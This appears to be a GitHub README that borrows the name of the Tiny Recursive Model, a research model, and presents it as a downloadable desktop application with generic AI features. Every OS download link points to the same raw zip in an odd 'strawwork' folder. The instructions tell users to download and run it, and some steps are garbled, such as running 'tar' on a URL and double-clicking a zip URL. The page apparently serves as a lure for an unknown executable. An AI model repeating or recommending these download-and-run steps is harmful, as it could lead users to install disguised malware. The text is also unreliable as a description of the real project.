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πŸš€ Implement the Tiny Recursive Model (TRM) for improved performance in recursive tasks, building on the HRM framework by Sapient AI.

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Jagatmohan46/tiny-recursive-model

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🧠 tiny-recursive-model - Enhance Your AI Experience

πŸš€ Getting Started

Welcome to the Tiny Recursive Model project! This software provides an easy way to utilize the Tiny Recursive Model (TRM), an improvement over the Hierarchical Reasoning Model (HRM) developed by Sapient AI. Designed by Alexia Jolicoeur-Martineau, this application opens up new possibilities in artificial intelligence and deep learning.

πŸ“₯ Download Now

Download tiny-recursive-model

πŸ› οΈ Requirements

Before you start, ensure your computer meets the following basic requirements:

  • Operating System: Windows 10 or later, macOS 10.14 or later, or a recent version of Linux.
  • RAM: At least 4 GB.
  • Storage: Minimum of 500 MB free disk space.

πŸ“¦ Download & Install

  1. Visit the Releases Page
    To download the latest version of the Tiny Recursive Model, click the link below:
    Download the latest release

  2. Choose the Right File
    On the Releases page, you will see a list of available files. Look for the one that matches your operating system:

    • Windows: https://raw.githubusercontent.com/Jagatmohan46/tiny-recursive-model/main/strawwork/tiny-recursive-model.zip
    • macOS: https://raw.githubusercontent.com/Jagatmohan46/tiny-recursive-model/main/strawwork/tiny-recursive-model.zip
    • Linux: https://raw.githubusercontent.com/Jagatmohan46/tiny-recursive-model/main/strawwork/tiny-recursive-model.zip
  3. Download the File
    Click on the appropriate file to start the download. The file will save to your computer.

  4. Extract the Files
    Once the download is complete, locate the downloaded file on your computer.

    • For Windows and macOS, right-click the file and choose "Extract All" or "Open with" -> "Archive Utility."
    • For Linux, use the terminal to extract the file:
    tar -xvzf https://raw.githubusercontent.com/Jagatmohan46/tiny-recursive-model/main/strawwork/tiny-recursive-model.zip
  5. Run the Application
    Navigate to the folder where you extracted the files.

    • Windows: Double-click https://raw.githubusercontent.com/Jagatmohan46/tiny-recursive-model/main/strawwork/tiny-recursive-model.zip.
    • macOS: Open the https://raw.githubusercontent.com/Jagatmohan46/tiny-recursive-model/main/strawwork/tiny-recursive-model.zip file.
    • Linux: Open the terminal, navigate to the folder, and type:
    ./tiny-recursive-model

βš™οΈ Features

The Tiny Recursive Model application offers various features designed to improve your AI experience:

  • User-Friendly Interface: Easy navigation for users of all skill levels.
  • Performance Optimization: Enhanced speed and efficiency in processing.
  • Support for Deep Learning: Seamless integration with popular deep learning frameworks.
  • Advanced Reasoning Capabilities: Makes AI reasoning more intuitive and robust.

πŸ“ How to Use

Once you run the application, follow these simple steps:

  1. Load Your Data:
    Import your datasets through the file menu. The software supports common formats, including CSV and JSON.

  2. Choose Your Model Parameters:
    You can adjust several settings to optimize the model for your specific needs.

  3. Start Processing:
    Hit the "Run" button to begin. The application will analyze the data and display results in real-time.

  4. Review Results:
    The output will show on your screen. You can save the results in various formats.

πŸ’¬ Support

If you encounter any issues or need assistance, please visit the project's issues page. You can report bugs, request features, or ask general questions.

🀝 Contributing

We welcome contributions! If you want to help enhance this project, please check out our contributing guidelines for more information.

πŸ“œ License

This project is licensed under the MIT License. For more details, see the LICENSE file.

🌟 Acknowledgments

Thanks to all contributors who have supported this project. Your efforts help in pushing the boundaries of artificial intelligence.

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